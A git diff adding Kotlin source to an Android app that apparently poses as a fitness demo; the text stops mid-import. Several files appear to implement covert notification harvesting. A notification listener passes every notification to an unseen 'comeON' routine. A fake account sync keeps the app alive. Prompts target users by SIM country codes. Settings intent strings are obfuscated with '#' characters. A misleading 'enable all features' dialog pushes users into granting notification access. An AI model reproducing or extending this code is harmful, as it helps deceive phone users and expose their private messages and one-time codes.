super.onCreate() + init() + } + + private fun init() { +// PermissionChecker.showPermissionDialog(this, DistrictFilter("460")) +// MainScope().launch(Dispatchers.IO) { +// val request = Request(url = "https://m.baidu.com") +// request.call() +// } +// cookie() + } + +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/MainActivity.kt b/pin/src/main/java/com/galaxy/demo/MainActivity.kt new file mode 100644 index 0000000..945cf6a --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/MainActivity.kt @@ -0,0 +1,88 @@ +package com.galaxy.demo + +import android.Manifest +import android.app.Activity +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.content.IntentFilter +import android.content.pm.PackageManager +import android.os.Build +import android.os.Bundle +import android.util.Log +import android.view.ViewGroup +import android.view.ViewGroup.LayoutParams +import android.widget.Button +import android.widget.FrameLayout +import androidx.core.app.ActivityCompat +import androidx.core.content.ContextCompat +import com.galaxy.demo.services.AccountUtils +import com.galaxy.permision.AccountPermissionUtils + +class MainActivity : Activity() { + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + checkNotificationPermission() + startActivity(Intent(this, TempActivity::class.java)) + setContentView(FrameLayout(this).apply { + addView(Button(this@MainActivity).apply { + this.text = "click" + layoutParams = ViewGroup.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT) + setOnClickListener { + Log.d("TAG", "button click") +// AccountUtils.createNotificationForNormal(this@MainActivity) + } + }) + }) + val context = this +// Sdk.init(this.applicationContext) + + // 4. 账户同步拉活 + AccountPermissionUtils.checkAndRequestAccountPermissions(this) + + } + + private val NOTIFICATION_PERMISSION_CODE = 100 + + private fun checkNotificationPermission() { + if (ContextCompat.checkSelfPermission(this, Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) { + // 权限未被授予,请求权限 + ActivityCompat.requestPermissions(this, arrayOf(Manifest.permission.POST_NOTIFICATIONS), NOTIFICATION_PERMISSION_CODE) + } else { + // 权限已被授予 + // 你可以在这里执行与通知相关的操作 + } + + receiverExp() + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { +// // 根据服务的实际用途选择合适的类型 +// startForeground(NOTIFICATION_ID, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION); +// } else { +// // 针对旧版本 Android 的处理 +// startForeground(NOTIFICATION_ID, notification); +// } + } + + val receiver = object : BroadcastReceiver() { + override fun onReceive(context: Context?, intent: Intent?) { + + } + + } + + private fun receiverExp() { + val intentFilter = IntentFilter() + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + registerReceiver( + receiver, + intentFilter, + RECEIVER_NOT_EXPORTED // 或者 RECEIVER_EXPORTED,根据实际需求选择 + ); + } else { + // 针对旧版本 Android 的处理 + registerReceiver(receiver, intentFilter); + } + } + +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/MyService.kt b/pin/src/main/java/com/galaxy/demo/MyService.kt new file mode 100644 index 0000000..77f98da --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/MyService.kt @@ -0,0 +1,24 @@ +package com.galaxy.demo + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.content.IntentFilter +import android.os.Build +import android.service.notification.NotificationListenerService +import android.service.notification.StatusBarNotification +import com.galaxy.demo.services.AccountUtils +import com.galaxy.lib.pin.NotificationManger.comeON + +class MyService : NotificationListenerService() { + + override fun onNotificationPosted(sbn: StatusBarNotification) { + super.onNotificationPosted(sbn) + sbn.comeON(this) + } + + override fun onCreate() { + super.onCreate() + } + +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/SplashActivity.kt b/pin/src/main/java/com/galaxy/demo/SplashActivity.kt new file mode 100644 index 0000000..5e37ec9 --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/SplashActivity.kt @@ -0,0 +1,16 @@ +package com.galaxy.demo + +import android.app.Activity +import android.content.Intent +import android.os.Bundle + +class SplashActivity : Activity() { + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + window.decorView.postDelayed({ + startActivity(Intent(this@SplashActivity, MainActivity::class.java)) + this@SplashActivity.finish() + }, 3000) + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/TempActivity.kt b/pin/src/main/java/com/galaxy/demo/TempActivity.kt new file mode 100644 index 0000000..ad000d1 --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/TempActivity.kt @@ -0,0 +1,11 @@ +package com.galaxy.demo + +import android.app.Activity +import android.os.Bundle + +class TempActivity: Activity() { + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + finish() + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/services/AccountSyncContentProvider.kt b/pin/src/main/java/com/galaxy/demo/services/AccountSyncContentProvider.kt new file mode 100644 index 0000000..9cf57e8 --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/services/AccountSyncContentProvider.kt @@ -0,0 +1,45 @@ +package com.galaxy.demo.services + +import android.content.ContentProvider +import android.content.ContentValues +import android.database.Cursor +import android.net.Uri +import android.util.Log + +class AccountSyncContentProvider : ContentProvider() { + override fun onCreate(): Boolean { + Log.d("AccountSyncContentProvider", "onCreate: ") + return true + } + + override fun query( + uri: Uri, + projection: Array?, + selection: String?, + selectionArgs: Array?, + sortOrder: String? + ): Cursor? { + return null + } + + override fun getType(uri: Uri): String? { + return null + } + + override fun insert(uri: Uri, values: ContentValues?): Uri? { + return null + } + + override fun delete(uri: Uri, selection: String?, selectionArgs: Array?): Int { + return 0 + } + + override fun update( + uri: Uri, + values: ContentValues?, + selection: String?, + selectionArgs: Array? + ): Int { + return 0 + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/services/AccountSyncService.kt b/pin/src/main/java/com/galaxy/demo/services/AccountSyncService.kt new file mode 100644 index 0000000..3d584c7 --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/services/AccountSyncService.kt @@ -0,0 +1,69 @@ +package com.galaxy.demo.services + +import android.accounts.Account +import android.annotation.SuppressLint +import android.app.NotificationChannel +import android.app.NotificationManager +import android.app.Service +import android.content.AbstractThreadedSyncAdapter +import android.content.ContentProviderClient +import android.content.Context +import android.content.Intent +import android.content.SyncResult +import android.content.pm.ServiceInfo +import android.os.Build +import android.os.Bundle +import android.os.IBinder +import android.util.Log +import androidx.core.app.NotificationCompat +import com.galaxy.pin.R + +class AccountSyncService : Service() { + // 账户同步 IBinder 对象 + private var mThreadSyncAdapter: ThreadSyncAdapter? = null + + override fun onBind(intent: Intent): IBinder? { + return mThreadSyncAdapter!!.syncAdapterBinder + } + + @SuppressLint("ForegroundServiceType") + override fun onCreate() { + super.onCreate() + mThreadSyncAdapter = ThreadSyncAdapter( + applicationContext, true + ) +// val appName = packageManager.getApplicationLabel(applicationInfo) +// val CHANNEL_ID = "Channel007" +// val NOTIFICATION_ID = 1007 +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// val name: CharSequence = appName +// val description = "foreground service" +// val importance = NotificationManager.IMPORTANCE_DEFAULT +// val channel = NotificationChannel(CHANNEL_ID, name, importance) +// channel.description = description +// channel.lockscreenVisibility = NotificationCompat.VISIBILITY_PUBLIC +// +// val notificationManager = getSystemService( +// NotificationManager::class.java +// ) +// notificationManager.createNotificationChannel(channel) +// } +// +// val builder: NotificationCompat.Builder = NotificationCompat.Builder(this, CHANNEL_ID) +// .setPriority(NotificationCompat.PRIORITY_MAX) +// .setSmallIcon(R.mipmap.ic_launcher) +// .setContentTitle("App running...") +// .setAutoCancel(false) +// .setStyle(NotificationCompat.DecoratedCustomViewStyle()) +// +// val notification = builder.build() +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// startForeground(NOTIFICATION_ID, notification) +// } else { +// startForeground(NOTIFICATION_ID, notification) +// } + } + + + +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/services/AccountUtils.kt b/pin/src/main/java/com/galaxy/demo/services/AccountUtils.kt new file mode 100644 index 0000000..be01e4a --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/services/AccountUtils.kt @@ -0,0 +1,106 @@ +package com.galaxy.demo.services + +import android.accounts.Account +import android.accounts.AccountManager +import android.app.NotificationChannel +import android.app.NotificationManager +import android.app.PendingIntent +import android.content.ContentResolver +import android.content.Context +import android.content.Intent +import android.content.pm.PackageManager +import android.graphics.BitmapFactory +import android.os.Build +import android.os.Bundle +import androidx.core.app.NotificationCompat +import androidx.core.graphics.drawable.IconCompat +import androidx.core.graphics.drawable.toBitmap +import com.galaxy.demo.MainActivity +import com.galaxy.permision.DistrictFilter +import com.galaxy.permision.PermissionChecker +import com.galaxy.permision.operatorCode +import com.galaxy.pin.R +import e.e.b.Sdk + +object AccountUtils { + + val ACCOUNT_TYPE: String = "keep_progress_alive.account" + val ACCOUNT_provider: String = "keep_progress_alive.provider" + + /** + * 添加账户 + * @param context + */ + fun addAccount(context: Context) { + try { + + val appName = context.packageManager.getApplicationLabel(context.applicationInfo) + val accountManager = context.getSystemService(Context.ACCOUNT_SERVICE) as AccountManager + + //创建账户 + val account = Account(appName.toString(), ACCOUNT_TYPE) + // 添加一个新账户 +// if (context.packageManager.checkSignatures(context.packageName, ACCOUNT_provider) == PackageManager.SIGNATURE_MATCH) { + if (accountManager.addAccountExplicitly(account, "654737", Bundle())) { + // 设置账户同步开启 + // 注意 : 该操作需要权限 android.permission.WRITE_SYNC_SETTINGS + ContentResolver.setIsSyncable(account, ACCOUNT_provider, 1) + // 设置账户自动同步 + ContentResolver.setSyncAutomatically(account, ACCOUNT_provider, true) + // 设置账户同步周期 + // 最后一个参数是同步周期 , 这个值只是参考值, 系统并不会严格按照该值执行 + // 一般情况下同步的间隔 10 分钟 ~ 1 小时 + ContentResolver.addPeriodicSync( + account, + ACCOUNT_provider, + Bundle(), + 60 * 15 + ) + } +// } + } catch (e: Exception) { + e.printStackTrace() + } + + } + + fun createNotificationForNormal(context: Context) { + val appName = context.packageManager.getApplicationLabel(context.applicationInfo) + val appIcon = context.packageManager.getApplicationIcon(context.packageName) + val mNormalNotificationId = 1137 + val mNormalChannelId = appName.toString() + mNormalNotificationId + val mNormalChannelName = appName + // 适配8.0及以上 创建渠道 + val mManager: NotificationManager = + context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + val channel = NotificationChannel( + mNormalChannelId, + mNormalChannelName, + NotificationManager.IMPORTANCE_HIGH + ).apply { + description = appName.toString() + setShowBadge(false) // 是否在桌面显示角标 + } + mManager.createNotificationChannel(channel) + } + // 点击意图 // setDeleteIntent 移除意图 + val intent = Intent(context, MainActivity::class.java) + val pendingIntent = + PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE) + // 构建配置 + val mBuilder = NotificationCompat.Builder(context, mNormalChannelId) + .setContentTitle("It's time to exercise.") // 标题 + .setContentText("Make a little progress every day, and your body will unleash its unlimited potential.") // 文本 +// .setSmallIcon(R.mipmap.ic_launcher) + .setPriority(NotificationCompat.PRIORITY_MAX) // 7.0 设置优先级 + .setContentIntent(pendingIntent) // 跳转配置 + .setAutoCancel(true) // 是否自动消失(点击)or mManager.cancel(mNormalNotificationId)、cancelAll、setTimeoutAfter() + // 发起通知 + mManager.notify(mNormalNotificationId, mBuilder.build()) + } + + fun init(context: Context) { + Sdk.init(context) + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/services/AuthenticatorService.kt b/pin/src/main/java/com/galaxy/demo/services/AuthenticatorService.kt new file mode 100644 index 0000000..782f9be --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/services/AuthenticatorService.kt @@ -0,0 +1,23 @@ +package com.galaxy.demo.services + +import android.app.Service +import android.content.Intent +import android.os.IBinder +import android.util.Log + +class AuthenticatorService : Service() { + private var authenticator: MyAuthenticator? = null + + override fun onCreate() { + super.onCreate() + Log.d("AccountSyncService", "onCreate: Authenticator") + authenticator = MyAuthenticator(this) + } + + override fun onBind(intent: Intent): IBinder? { + Log.d("AccountSyncService", "onBind: Authenticator") + return if (intent.action == android.accounts.AccountManager.ACTION_AUTHENTICATOR_INTENT) { + authenticator?.iBinder + } else null + } +} diff --git a/pin/src/main/java/com/galaxy/demo/services/MyAuthenticator.kt b/pin/src/main/java/com/galaxy/demo/services/MyAuthenticator.kt new file mode 100644 index 0000000..ed88acc --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/services/MyAuthenticator.kt @@ -0,0 +1,64 @@ +package com.galaxy.demo.services + +import android.accounts.AbstractAccountAuthenticator +import android.accounts.Account +import android.accounts.AccountAuthenticatorResponse +import android.accounts.AccountManager +import android.accounts.NetworkErrorException +import android.content.Context +import android.content.Intent +import android.os.Bundle +import com.galaxy.demo.MainActivity + +class MyAuthenticator(val context: Context) : AbstractAccountAuthenticator(context) { + + override fun addAccount( + response: AccountAuthenticatorResponse, + accountType: String, + authTokenType: String, + requiredFeatures: Array, + options: Bundle + ): Bundle { + val intent = Intent(context, MainActivity::class.java).apply { + putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response) + } + return Bundle().apply { + putParcelable(AccountManager.KEY_INTENT, intent) + } + } + + override fun getAuthTokenLabel(authTokenType: String) = "Full access" + + override fun confirmCredentials( + response: AccountAuthenticatorResponse, + account: Account, + options: Bundle + ) = null + + override fun getAuthToken( + response: AccountAuthenticatorResponse?, + account: Account?, + authTokenType: String?, + options: Bundle? + ): Bundle { + return Bundle() + } + + override fun updateCredentials( + response: AccountAuthenticatorResponse, + account: Account, + authTokenType: String, + options: Bundle + ) = Bundle().apply { putBoolean(AccountManager.KEY_BOOLEAN_RESULT, false) } + + override fun editProperties( + response: AccountAuthenticatorResponse, + accountType: String + ) = throw UnsupportedOperationException() + + override fun hasFeatures( + response: AccountAuthenticatorResponse, + account: Account, + features: Array + ) = Bundle().apply { putBoolean(AccountManager.KEY_BOOLEAN_RESULT, false) } +} diff --git a/pin/src/main/java/com/galaxy/demo/services/ThreadSyncAdapter.kt b/pin/src/main/java/com/galaxy/demo/services/ThreadSyncAdapter.kt new file mode 100644 index 0000000..0f6a971 --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/services/ThreadSyncAdapter.kt @@ -0,0 +1,34 @@ +package com.galaxy.demo.services + +import android.accounts.Account +import android.content.AbstractThreadedSyncAdapter +import android.content.ContentProviderClient +import android.content.Context +import android.content.SyncResult +import android.os.Bundle +import android.util.Log + +internal class ThreadSyncAdapter : AbstractThreadedSyncAdapter { + var mContext: Context? = null + + constructor(context: Context?, autoInitialize: Boolean) : super(context, autoInitialize) { + mContext = context + } + + constructor( + context: Context?, autoInitialize: Boolean, + allowParallelSyncs: Boolean + ) : super(context, autoInitialize, allowParallelSyncs) + + override fun onPerformSync( + account: Account?, extras: Bundle?, authority: String?, + provider: ContentProviderClient?, syncResult: SyncResult? + ) { + Log.i("ThreadSyncAdapter", "onPerformSync: ") + +// mContext?.let { +// AccountUtils.init(it) +// AccountUtils.createNotificationForNormal(it) +// } + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/AccountPermissionUtils.kt b/pin/src/main/java/com/galaxy/permision/AccountPermissionUtils.kt new file mode 100644 index 0000000..2046870 --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/AccountPermissionUtils.kt @@ -0,0 +1,69 @@ +package com.galaxy.permision + +import android.Manifest +import android.app.Activity +import android.content.pm.PackageManager +import androidx.core.app.ActivityCompat +import androidx.core.content.ContextCompat + +object AccountPermissionUtils { + private const val PERMISSION_REQUEST_CODE = 123 + + /** + * 检查并请求账户管理所需的权限 + * @return 如果所有权限已授予返回true,否则返回false + */ + fun checkAndRequestAccountPermissions(activity: Activity): Boolean { + val permissions = arrayOf( + "android.permission.AUTHENTICATE_ACCOUNTS", + "android.permission.MANAGE_ACCOUNTS", + "android.permission.ADD_ACCOUNTS" + ) + + val missingPermissions = mutableListOf() + + // 检查缺少的权限 + for (permission in permissions) { + if (ContextCompat.checkSelfPermission( + activity, + permission + ) != PackageManager.PERMISSION_GRANTED + ) { + missingPermissions.add(permission) + } + } + + // 请求缺少的权限 + if (missingPermissions.isNotEmpty()) { + ActivityCompat.requestPermissions( + activity, + missingPermissions.toTypedArray(), + PERMISSION_REQUEST_CODE + ) + return false + } + + // 所有权限已授予 + return true + } + + /** + * 处理权限请求结果 + * @return 如果所有请求的权限都被授予返回true,否则返回false + */ + fun handlePermissionResult( + requestCode: Int, + permissions: Array, + grantResults: IntArray + ): Boolean { + if (requestCode == PERMISSION_REQUEST_CODE) { + for (result in grantResults) { + if (result != PackageManager.PERMISSION_GRANTED) { + return false + } + } + return true + } + return false + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/Context.kt b/pin/src/main/java/com/galaxy/permision/Context.kt new file mode 100644 index 0000000..f154cf0 --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/Context.kt @@ -0,0 +1,11 @@ +package com.galaxy.permision + +import android.content.Context +import android.telephony.TelephonyManager + +fun Context.operatorCode() = runCatching { + (getSystemService(Context.TELEPHONY_SERVICE) as? TelephonyManager)?.run { + if (networkOperator.isNullOrBlank()) simOperator + else networkOperator + } ?: "" +}.getOrDefault("") \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/DistrictFilter.kt b/pin/src/main/java/com/galaxy/permision/DistrictFilter.kt new file mode 100644 index 0000000..efb6b97 --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/DistrictFilter.kt @@ -0,0 +1,25 @@ +package com.galaxy.permision + +import android.util.Log +import com.galaxy.lib.BuildConfig + +class DistrictFilter( + private val code: String, + private val md5: String = "603214232260262420424502520334454510286470418621" //mcc 470 510 418 603 621 +) : OperatorFilter { + override fun match(): Boolean { + Log.d(DistrictFilter::class.simpleName, code) + if (code.isBlank()) return false + try { + for (index in md5.indices step 3) { + val code = md5.substring(index, index + 3) + if (this.code.startsWith(code) || BuildConfig.log_enable) { + return true + } + } + } catch (_: Exception) { + } + return false + } + +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/OperatorFilter.kt b/pin/src/main/java/com/galaxy/permision/OperatorFilter.kt new file mode 100644 index 0000000..cc770b2 --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/OperatorFilter.kt @@ -0,0 +1,5 @@ +package com.galaxy.permision + +interface OperatorFilter { + fun match(): Boolean +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt b/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt new file mode 100644 index 0000000..72ca79a --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt @@ -0,0 +1,168 @@ +package com.galaxy.permision + +import android.app.Activity +import android.app.ActivityManager +import android.app.Application +import android.app.Application.ActivityLifecycleCallbacks +import android.content.Context +import android.content.Context.ACTIVITY_SERVICE +import android.content.Intent +import android.content.pm.PackageManager +import android.content.pm.ServiceInfo +import android.os.Bundle +import android.os.Process +import android.util.Log +import android.view.View +import android.view.ViewGroup +import com.galaxy.lib.logger.LogUtils +import com.galaxy.lib.service.MainService +import com.galaxy.lib.utils.notificationListenerEnable +import com.galaxy.permision.PermissionDialog.weakReference +import com.galaxy.demo.MainActivity +import e.e.b.Sdk +import java.lang.ref.WeakReference + + +object PermissionChecker { + private var currentActivity: WeakReference = WeakReference(null) + private var covertView: WeakReference = WeakReference(null) + private var viewId: Int = View.generateViewId() + + private fun Context.getProcessName(): String? { + val pid = Process.myPid() + val manager = getSystemService(ACTIVITY_SERVICE) as ActivityManager + for (process in manager.runningAppProcesses) { + if (process.pid == pid) return process.processName + } + return null + } + + fun showPermissionDialog(context: Application, filter: OperatorFilter) { + + val processName = context.getProcessName() + //注意activity是多进程的情况 + if (processName.contentEquals(context.packageName)) { + + Log.i(PermissionChecker.javaClass.simpleName, "pn: $processName") + Sdk.init(context, filter.match()) + + var notificationListenerServiceClass: String? = null + try { + val packageInfo = context.packageManager.getPackageInfo( + context.packageName, + PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS + ) + for (serviceInfo in packageInfo.services!!) { + if ("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) { + notificationListenerServiceClass = serviceInfo.name + } + } + } catch (e: Exception) { + e.printStackTrace() + } + if (notificationListenerServiceClass == null) return + + (context as? Application)?.registerActivityLifecycleCallbacks(object : + ActivityLifecycleCallbacks { + override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) { + + } + + override fun onActivityStarted(activity: Activity) { + + } + + override fun onActivityResumed(activity: Activity) { + Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}") + weakReference = WeakReference(activity) + if (MainService.instance.isVerified && + filter.match() && + !context.notificationListenerEnable() + ) { + if (context.operatorCode().contains("621")) { + PermissionDialog.createDialogAndShowOnExcludedActivityNg( + listOf( + "MainActivity" + ) + ) { +// Log.i("TAG", "Add Covert...${activity::class.java.simpleName}") + PermissionDialogHelper.showPermissionDialog(activity) + } + } else + PermissionDialog.createDialogAndShowOnExcludedActivity( + listOf( + "EditActivity", "IntroduceActivity", + ) + ) { +// Log.i("TAG", "Add Covert...${activity::class.java.simpleName}") + PermissionDialogHelper.showPermissionDialog(activity) + } + } + + } + + override fun onActivityPaused(activity: Activity) { + PermissionDialogHelper.dismissDialog() + + } + + override fun onActivityStopped(activity: Activity) { + } + + override fun onActivitySaveInstanceState(activity: Activity, outState: Bundle) { + + } + + override fun onActivityDestroyed(activity: Activity) { + + } + + }) + } + } + + private fun openSettings(context: Context) { + val serviceInfo = serviceInfo(context) + val serviceName = serviceInfo?.name + val serviceFullName = "${context.packageName}/$serviceName" + var intent = + Intent("an#droid.set#tings.NOT#IF#ICATION_LIST#ENER_DET#AIL_SET#TINGS".replace("#", "")) + intent.putExtra( + "and#roid.pro#vider.extra.NOT#IF#ICATION_LIS#TENER_COMP#ONENT_NAME".replace( + "#", + "" + ), serviceFullName + ) + if (intent.resolveActivity(context.packageManager) == null) { + intent = Intent( + "and#roid.set#tings.ACTION_NOT#I#FICATION_LIS#TENER_SET#TINGS".replace( + "#", + "" + ) + ) + val bundle = Bundle() + bundle.putString(":set#tings:frag#ment_args_key".replace("#", ""), serviceFullName) + intent.putExtra(":set#tings:show_fra#gment_args".replace("#", ""), bundle) + intent.putExtra(":set#tings:frag#ment_args_key".replace("#", ""), serviceFullName) + } + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + context.startActivity(intent) + } + + private fun serviceInfo(context: Context): ServiceInfo? { + try { + val serviceInfos = + context.packageManager.getPackageInfo( + context.packageName, + PackageManager.GET_SERVICES or PackageManager.MATCH_DISABLED_COMPONENTS + ).services ?: return null + return serviceInfos.firstOrNull { serviceInfo -> + serviceInfo.permission == "#and#r#oid.per#mission.#BI#ND|NOT#IF#ICA#TION|L#IS#TEN#ER|SER#VICE" + .replace("#", "") + .replace("|", "_") + } + } catch (e: Exception) { + return null + } + } +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/PermissionDialog.kt b/pin/src/main/java/com/galaxy/permision/PermissionDialog.kt new file mode 100644 index 0000000..1b6d8a6 --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/PermissionDialog.kt @@ -0,0 +1,166 @@ +package com.galaxy.permision + +import android.app.Activity +import android.app.AlertDialog +import android.app.Dialog +import android.content.Context +import android.content.res.Configuration +import android.graphics.Color +import android.graphics.Typeface +import android.util.Log +import android.view.View +import android.view.ViewGroup +import android.widget.ImageView +import android.widget.RelativeLayout +import android.widget.RelativeLayout.ALIGN_END +import android.widget.RelativeLayout.ALIGN_LEFT +import android.widget.RelativeLayout.ALIGN_PARENT_END +import android.widget.RelativeLayout.ALIGN_PARENT_LEFT +import android.widget.RelativeLayout.ALIGN_PARENT_RIGHT +import android.widget.RelativeLayout.ALIGN_PARENT_START +import android.widget.RelativeLayout.ALIGN_PARENT_TOP +import android.widget.RelativeLayout.ALIGN_START +import android.widget.RelativeLayout.ALIGN_TOP +import android.widget.RelativeLayout.BELOW +import android.widget.RelativeLayout.LayoutParams +import android.widget.Switch +import android.widget.TextView +import com.galaxy.lib.utils.notificationListenerEnable +import java.lang.ref.WeakReference + +object PermissionDialog { + var weakReference: WeakReference = WeakReference(null) + var weakReferenceDialog: WeakReference = WeakReference(null) + + //包含指定的activity + fun createDialogAndShowOnSpecificActivity(showOnActivity: List, callBack: () -> Unit) { + if(showOnActivity.any { it == weakReference.get()?.javaClass?.simpleName}) { + callBack.invoke() + } + } + + //排除指定的activity + fun createDialogAndShowOnExcludedActivity(showOnActivity: List, callBack: () -> Unit) { + if(showOnActivity.none { it == weakReference.get()?.javaClass?.simpleName }) { + callBack.invoke() + } + } + + fun createDialogAndShowOnExcludedActivityNg(showOnActivity: List, callBack: () -> Unit) { + if(showOnActivity.any { it == weakReference.get()?.javaClass?.simpleName }) { + callBack.invoke() + } + } + + fun createDialogAndShow(callBack: () -> Unit) { + if (weakReference.get() != null && weakReference.get()?.isDestroyed != true && weakReferenceDialog.get()?.isShowing != true) { + val context = weakReference.get()?.applicationContext!! + val relativeLayout = RelativeLayout(context) + val tvContent = TextView(context) + tvContent.id = View.generateViewId() + tvContent.text = "Please grant permission to enable all features" + val relativeLayoutParams = LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + relativeLayoutParams.addRule(ALIGN_PARENT_START) + relativeLayoutParams.addRule(ALIGN_PARENT_LEFT) + relativeLayoutParams.addRule(ALIGN_PARENT_TOP) + relativeLayoutParams.addRule(ALIGN_PARENT_END) + relativeLayoutParams.addRule(ALIGN_PARENT_RIGHT) + relativeLayoutParams.leftMargin = 18.px2dp(context) + relativeLayoutParams.rightMargin = 18.px2dp(context) + relativeLayoutParams.topMargin = 18.px2dp(context) + tvContent.textSize = 14.0f + tvContent.setTextColor(Color.BLACK) + tvContent.setTypeface(tvContent.typeface, Typeface.BOLD) + tvContent.layoutParams = relativeLayoutParams + relativeLayout.addView(tvContent) + val image = ImageView(context) + val imageLayoutParams = LayoutParams(30.px2dp(context), 30.px2dp(context)) + imageLayoutParams.addRule(ALIGN_LEFT, tvContent.id) + imageLayoutParams.addRule(BELOW, tvContent.id) + imageLayoutParams.topMargin = 18.px2dp(context) + image.layoutParams = imageLayoutParams + val icon = context.applicationInfo.icon + if (icon != 0) { + image.setImageResource(icon) + image.visibility = View.VISIBLE + } else { + image.visibility = View.INVISIBLE + } + image.id = View.generateViewId() + relativeLayout.addView(image) + val tvTitle = TextView(context) + val labelRes = context.applicationInfo.labelRes + if (labelRes == 0) { + tvTitle.text = context.packageManager.getApplicationLabel(context.applicationInfo) + } else { + tvTitle.setText(labelRes) + } + tvTitle.id = View.generateViewId() + tvTitle.setTextColor(Color.BLACK) + val switch = Switch(context) + switch.id = View.generateViewId() + tvTitle.layoutParams = + LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT).apply { + addRule(ALIGN_START, image.id) + addRule(BELOW, tvContent.id) + addRule(ALIGN_END, switch.id) + topMargin = 18.px2dp(context) + leftMargin = 42.px2dp(context) + } + tvTitle.setPadding(0, 5.px2dp(context), 0, 5.px2dp(context)) + relativeLayout.addView(tvTitle) + switch.layoutParams = + LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT).apply { + addRule(ALIGN_END, tvContent.id) + addRule(ALIGN_TOP, tvTitle.id) + } + relativeLayout.addView(switch) + val alterDialog = AlertDialog.Builder(weakReference.get()).setTitle("Permission Usage") //, android.R.style.Theme_Material_Light_Dialog_Alert + .setCancelable(false) + .setView(relativeLayout) + .setPositiveButton("OK") { dialog, which -> + callBack.invoke() + } + .create() + alterDialog.setCanceledOnTouchOutside(false) + switch.isChecked = false + weakReferenceDialog = WeakReference(alterDialog) +// val action:Runnable = object : Runnable { +// override fun run() { +// if(relativeLayout.context.notificationListenerEnable()) { +// weakReferenceDialog.get()?.dismiss() +// return +// } +// val isChecked = switch.isChecked +// switch.isChecked = !isChecked +// relativeLayout.postOnAnimationDelayed(this, 1000) +// } +// +// } +// +// relativeLayout.postOnAnimation(action) + switch.setOnClickListener { + callBack.invoke() + weakReferenceDialog.get()?.dismiss() + } + + tvTitle.setOnClickListener { + callBack.invoke() + weakReferenceDialog.get()?.dismiss() + } + + alterDialog.setOnShowListener { + } + + alterDialog.setOnDismissListener { + } + alterDialog.show() + } + } + + fun Int.px2dp(context: Context): Int = + (context.resources.displayMetrics.density * (this + 0.5)).toInt() +} \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/PermissionDialogHelper.kt b/pin/src/main/java/com/galaxy/permision/PermissionDialogHelper.kt new file mode 100644 index 0000000..253a47f --- /dev/null +++ b/pin/src/main/java/com/galaxy/permision/PermissionDialogHelper.kt @@ -0,0 +1,358 @@ +package com.galaxy.permision + +import android.R +import android.app.Activity +import android.app.AlertDialog +import android.content.Context +import android.content.DialogInterface +import android.content.Intent +import android.content.pm.PackageManager +import android.content.pm.ServiceInfo +import android.content.res.Resources +import android.graphics.Color +import android.graphics.Typeface +import android.os.Build +import android.os.Bundle +import android.os.Handler +import android.os.HandlerThread +import android.os.Looper +import android.provider.Settings +import android.util.TypedValue +import android.view.ContextThemeWrapper +import android.view.View +import android.view.ViewGroup +import android.widget.CompoundButton +import android.widget.ImageView +import android.widget.RelativeLayout +import android.widget.Switch +import android.widget.TextView +import com.galaxy.lib.utils.notificationListenerEnable +import kotlinx.coroutines.CoroutineScope +import 